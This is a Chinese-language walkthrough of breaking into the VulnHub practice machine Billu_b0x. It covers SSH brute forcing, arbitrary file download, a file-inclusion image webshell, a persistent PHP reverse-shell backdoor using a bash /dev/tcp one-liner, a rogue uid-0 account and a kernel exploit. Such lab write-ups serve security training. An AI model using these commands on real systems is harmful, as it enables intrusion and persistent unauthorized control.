【VulnHub靶機滲透】三:Billu_b0x

VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有相關目標去完成(萬分感謝提供靶機鏡像的同學)。


一、相關簡介

靶機:

該靶機設定了一些常見的Web應用漏洞,如文件包含、任意文件下載、注入等。

  • 名稱:Billu_b0x
  • 系統:Linux Ubuntu(32位)
  • 難度:中級
  • 目標:利用Web應用程序進入系統並提權至root權限
  • 軟件包:Apache、PHP、MySql

環境:

  • 靶機:Billu_b0x——192,168.11.22
  • 攻擊機:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap、whatweb、Xshell等

流程:

  1. 信息蒐集
  2. 逐一服務進行滲透

二、信息蒐集

注:(信息蒐集也包含在滲透測試裏邊,但是爲了過程更加直觀,我將信息蒐集單獨寫出來,望悉知)

nmap進行主機端口信息掃描

nmap -sS -Pn -T4 -sV -O 192.168.11.22

在這裏插入圖片描述
使用 whatweb 識別 Web 指紋信息

whatweb -v -a 3 192.168.11.22

在這裏插入圖片描述
使用dirb爆破Web目錄
在這裏插入圖片描述
通過掃描大致得到以下信息:

  • 目標IP:192.168.11.22
  • OS:Linux(Ubuntu)
  • 22端口:ssh,OpenSSH
  • 80端口:http,Apache 2.2.22

訪問掃描到的Web路徑,得到以下信息:

  • http://192.168.11.22/add:上傳文件
  • http://192.168.11.22/in:phpinfo函數
  • http://192.168.11.22/index.php:登錄界面
  • http://192.168.11.22/phpmy/:phpmyadmin
  • http://192.168.11.22/test:文件參數
  • http://192.168.11.22/c:空頁面
  • http://192.168.11.22/cmd:空頁面
  • http://192.168.11.22/head:空頁面
  • http://192.168.11.22/panel:空頁面
  • http://192.168.11.22/shell:空頁面
  • http://192.168.11.22/show:空頁面
  • http://192.168.11.22/server-status:權限不足
  • http://192.168.11.22/cgi-bin/:權限不足
  • http://192.168.11.22/index:登錄界面,同 ./index.php
  • http://192.168.11.22/uploaded_images/:圖片文件夾

三、滲透步驟

1、ssh賬戶爆破

1)爆破並連接ssh服務

首先試一下22端口爆破

hydra -L /usr/share/wordlists/uname_passwd/adminUser.txt -P /usr/share/wordlists/uname_passwd/adminPsd.txt -vV -t4 192.168.11.22 ssh

字典文件如下,是一個我經常用的小字典:
在這裏插入圖片描述
媽耶,直接爆出了賬戶:root,123456
在這裏插入圖片描述
ok,使用 terminal 連接 ssh 來查看一下相關信息
在這裏插入圖片描述
直接就是root權限,麼得意思
在這裏插入圖片描述
2)創建root權限用戶,Web後臺掛馬

還是慣例創建一個root權限用戶,再搞一個掛馬吧

既然是root權限,自然有對passwd文件的寫權限,那麼就可以創建一個用戶 xiaohei,再修改器權限 id
在這裏插入圖片描述
打開passwd文件,將xiaohei的權限值改爲 0 0
在這裏插入圖片描述
先切換到普通用戶ica,在切換至xiaohei用戶,查看其權限爲root權限
在這裏插入圖片描述
ok,再掛馬吧,找到網站根目錄,一般Linux的默認Web目錄都在 /var/www 下,也可以訪問之前掃描出的一個phpinfo頁面
在這裏插入圖片描述
在站點下種馬,使用蟻劍連接得到Webshell
在這裏插入圖片描述


2、Web站點滲透

經過對爆出的路徑進行分析以及頁面提示,得到以下幾個疑似可利用的弱點:

  • http://192.168.11.22/index.php
  • http://192.168.11.22/add
  • http://192.168.11.22/test
  • http://192.168.11.22/phpmy/

下面就以這四個點逐一展開滲透,達到 getshell 並提權。

2.1、index.php

雖然頁面提示是一個sql注入漏洞,但是使用各種方法,無法成功注入。
在這裏插入圖片描述
使用sqlmap進行注入,並且加入繞過插件

sqlmap -u http://192.168.11.22 --data="un=aaa&ps=bbb" --level=3 --tamper "base64encode.py,space2comment" --cookie="PHPSESSID=jjneulif3aon2c9l97ani7okd0"

sql注入依然未成功。

但是在掃描過程中,發現這兩處存在XSS漏洞
在這裏插入圖片描述
插入beef-xss的代碼,需要使用url編碼來繞過,即可xss注入
在這裏插入圖片描述
看一下對方 cookie
在這裏插入圖片描述
但是是一個反射型XSS,用處不大,sql注入也未成功,先放下。


2.2、add.php

選擇一個圖片,填好內容後抓包,請求包如下:
在這裏插入圖片描述
發現無論上傳什麼文件,都沒有任何效果,索性選擇主動響應該請求,查看響應包:
在這裏插入圖片描述
好像不可以上傳,先放下。


2.3、test.php:任意文件讀取與下載

1)發現任意文件下載漏洞

這個頁面最爲特殊,打開時頁面提示'file' parameter is empty. Please provide file path in 'file' parameter,就是file參數爲空,需要傳入一個參數

嘗試直接在URL裏傳入一個file,參數設置爲剛纔掃描到的index.php文件
在這裏插入圖片描述
依然提示爲空,那極有可能是POST方式,抓包修改提交方式
在這裏插入圖片描述
再在數據區寫file=index.php提交,此時頁面依然提示參數爲空,但是!但是!彈出來一個文件保存彈窗,存在文件包含的文件泄漏
在這裏插入圖片描述
2)利用漏洞下載源碼進行審計

那麼就可以把掃描到的所有文件保存下來進行源碼審計了,最終得到了以下幾個有用的信息:

  • add.php: 就是一個空殼文件,只寫了上傳部分的代碼,其餘的處理代碼都沒有,所以也就不是文件上傳漏洞,哭了
    在這裏插入圖片描述
  • c.php:是一個連接數據庫的文件,包含了連接數據庫的賬號密碼:billub0x_billu
    在這裏插入圖片描述
  • cmd.php: 是一個 php 一句話木馬,直接在 repeater 裏看
    在這裏插入圖片描述
  • index.php: 構造sql語句時過濾了單引號,雖然hex編碼以及Unicode編碼可以繞過,但是就是無法注入。。
    在這裏插入圖片描述
  • panel.php: 存在文件包含漏洞,將任意文件解析爲php文件,之後可用於解析圖片馬
    在這裏插入圖片描述

再試一下能否下載其他路徑文件,嘗試passwd,驚喜!
在這裏插入圖片描述
居然可以拿到其他文件,而且還是高權限文件,再使用nmap掃描是否支持上傳文件,發現不能
在這裏插入圖片描述
3)審計phpmyadmin配置文件,得到數據庫賬戶信息

ok,那就利用文件泄露的漏洞來看一下phpmyadmin配置文件(因爲發現的 /phpmy/ 路徑是phpmyadmin)

默認的phpmyadmin配置文件位於phpmyadmin文件夾下,一般以下兩個都是:

  • ./libraries/config.default.php
  • ./config.inc,php

下載第一個,因爲當前phpmy已經是根目錄,所以直接使用相對路徑即可訪問到
在這裏插入圖片描述
保存至本地後,查找user關鍵字,發現了一個root用戶,但是沒有密碼
在這裏插入圖片描述
下載並查看另一個配置文件,得到了一組賬戶信息
在這裏插入圖片描述
再根據剛纔c.php裏的數據庫賬號密碼,現在得到了兩組連接數據庫的賬戶

  • billu:b0x_billu
  • root:roottoor

下面使用這兩組賬戶,來登錄phpmyadmin


2.4、phpmy:信息泄漏

1)登入phpmyadmin得到敏感信息

phpmy是phpmyadmin管理界面, root:roottoor 登錄失敗,使用 billu:b0x_billu 登錄成功
在這裏插入圖片描述
ica_lab庫裏有三張表:

  • auth表裏發現了一個賬戶:biLLuhEx_it(此帳戶信息成功登入了index.php)
    在這裏插入圖片描述
  • download表內容含義暫時未知:
    在這裏插入圖片描述
  • user表內容含義暫時未知:
    在這裏插入圖片描述

2)利用phpmyadmin掛馬

繼續phpmyadmin的測試,既然進入了phpmyadmin後臺,自然要看一下能否利用phpmyadmin來掛馬,在上一篇:VulnHub靶機系列之——Lazysysadmin 中已經說到了phpmyadmin的兩種掛馬方法:
在這裏插入圖片描述
但是兩種方式都必須滿足三個條件:

  1. 未限制文件路徑
  2. 當前用戶有寫文件權限
  3. 知道網站根目錄

2.1)利用outfile寫文件掛馬

現在條件三已經滿足,網站根目錄是 /var/www ,查看是否對寫文件的路徑做以限制

show variables like '%secure%'

在這裏插入圖片描述
哇唔,沒有限制,寫一個php木馬測試文件試試

select '<?php phpinfo(); ?)>' into outfile "/var/www/shell1.php"

在這裏插入圖片描述
唉,沒有寫文件的權限,後來試了一下,連新建數據庫的權限都沒有,哭了。

2.2)利用日誌文件掛馬

繼續試一下日誌文件能否掛馬,查看全局日誌情況

show variables like '%general%';

在這裏插入圖片描述
當前全局日誌是關閉狀態,且路徑已經指定,所以必須是在root權限下,打開全局日誌並修改路徑。

set global general_log = on;
set global general_log_file = '指定路徑';

打開全局日誌:
唉,權限不足,兩種方法都失敗,那就無法使用phpmyadmin來拿到Webshell了。


2.5、index.php 續:文件包含+圖片馬

1)利用賬戶登錄後臺

之前對index頁面進行sql注入無果,因此也就沒有成功登入。

但是由auth表中得到的賬戶,想到了之前 index.php 文件裏構造sql查詢語句時,查詢的表就是這個auth表
在這裏插入圖片描述
用這個賬戶成功登錄,進入了頁面後有兩個選項,Show Users 是查詢展示之前 user表裏的用戶
在這裏插入圖片描述
誒,這頭像,似曾相識,之前在掃目錄時有一個 ./uploaded_images/ 的文件夾,裏邊一張圖就是這個頭像,得到了頭像路徑
在這裏插入圖片描述
2)上傳圖片馬並建立反彈shell

Add User 是創建一個用戶,需要上傳圖片,盲猜上傳的圖片是用戶頭像,上邊知道了其路徑,那麼在這裏就可以上傳一個圖片馬,再利用之前 panel.php 的文件包含漏洞,來Getshell
在這裏插入圖片描述
選一張最喜歡的小新頭像,編輯器打開在末尾添加php一句話,製作圖片馬
在這裏插入圖片描述
上傳後,查看所有用戶確認上傳成功
在這裏插入圖片描述打開panel.php頁面,選擇 Show Users並抓包修改數據包如下:

  • load=show&continue=continue
    改爲
    load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();

發包,即可看到頁面已經回顯php信息,也就是成功執行木馬
在這裏插入圖片描述
此時可以將eval函數改爲system函數,用來執行Linux命令,建立反彈shell。重新制作圖片馬,一句話命令如下:
在這裏插入圖片描述
同樣的上傳抓包,修改數據包,其中hack的傳值改爲測試語句ls
在這裏插入圖片描述
測試成功,那就可以用bash來建立反彈shell了,hack值改爲以下建立反彈shell命令:

  • hack=echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash
    (將輸出的反彈shell語句,用bash來運行)

但是要對數據進行url編碼,不然會將某些符號識別成關鍵字符,使用BurpSuit的Decoder模塊對數據url編碼:
在這裏插入圖片描述
在這裏插入圖片描述
在kali上使用nc監聽9999端口,發包即可建立shell連接,
在這裏插入圖片描述
切換之前創建的超級用戶xiaohei,提示需要使用一個terminal環境,使用以下python語句創建一個terminal環境,即可切換至root用戶:

python -c 'import pty;pty.spawn("/bin/bash")'

在這裏插入圖片描述
3)在寫權限的目錄寫入php木馬(Webshell 和 反彈會話shell)

找一個有寫權限的目錄,寫php木馬文件shell.php,比如剛纔的./uploaded_images 目錄
在這裏插入圖片描述
蟻劍連接即可,這是Webshell,方便對站點文件進行操作
在這裏插入圖片描述
當然,重點來了,除了可以寫入一個Webshell的php木馬,還可以寫一個反彈shell的會話木馬rev_shell.php

使用echo向rev_shell.php文件寫入以下語句,利用的是php system系統命令調用函數:

echo '<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>' >> rev_shell.php

在這裏插入圖片描述
此時在kali監聽指定端口9999,在瀏覽器訪問反彈shell文件rev_shell.php,即可建立反彈shell,之後都可以進行連接
在這裏插入圖片描述
index頁面滲透到此。


3、Linux內核提權

根據網上大佬的WriteUp,得知該靶機還可以利用內核漏洞進行滲透提權。

利用得到的Webshell,使用以下語句查看目標主機系統內核版本以及Linux系統版本

  • uname -a :內核版本
  • cat /etc/issue:Linux系統版本

在這裏插入圖片描述
得到內核版本是Linux indishell 3.13.0-32-generic,系統版本是 Ubuntu 12.04.5 LTS,在kali上查詢已有的exp
在這裏插入圖片描述
複製對應文件,賦予其可執行權限
在這裏插入圖片描述
使用Xshell發送至Windows本地,利用Webshell用蟻劍將其上傳至網站下
在這裏插入圖片描述
修改權限爲可執行文件
在這裏插入圖片描述
使用gcc編譯文件: gcc 37292.c -o exp ,執行即可提權至root權限
在這裏插入圖片描述

三、總結

1、本次滲透成功的地方有以下幾處:

  • ssh弱口令爆破,進入系統後本身就是root權限,重新創建root用戶並掛馬
  • 利用任意文件下載漏洞得到數據庫賬戶,進入phpmyadmin後臺得到用戶賬戶
  • 使用得到的賬戶進入網站後臺,利用文件包含與圖片馬拿到Webshell與會話shell,提權
  • 利用Linux內核版本漏洞提權

2、有一處知識點:

  • 寫入php木馬建立反彈會話shell

原先只會利用上傳文件或者是寫文件,創建一個Webshell,但是Webshell的可操作性不高,一般只能對網站進行相關操作,而無法對目標系統實施控制,所以嘗試了以下寫入一個建立反彈shell的php文件,結果成功了!

php文件中添加的語句如下:

<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>

之後監聽相應端口,訪問該文件,即可建立反彈shell。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章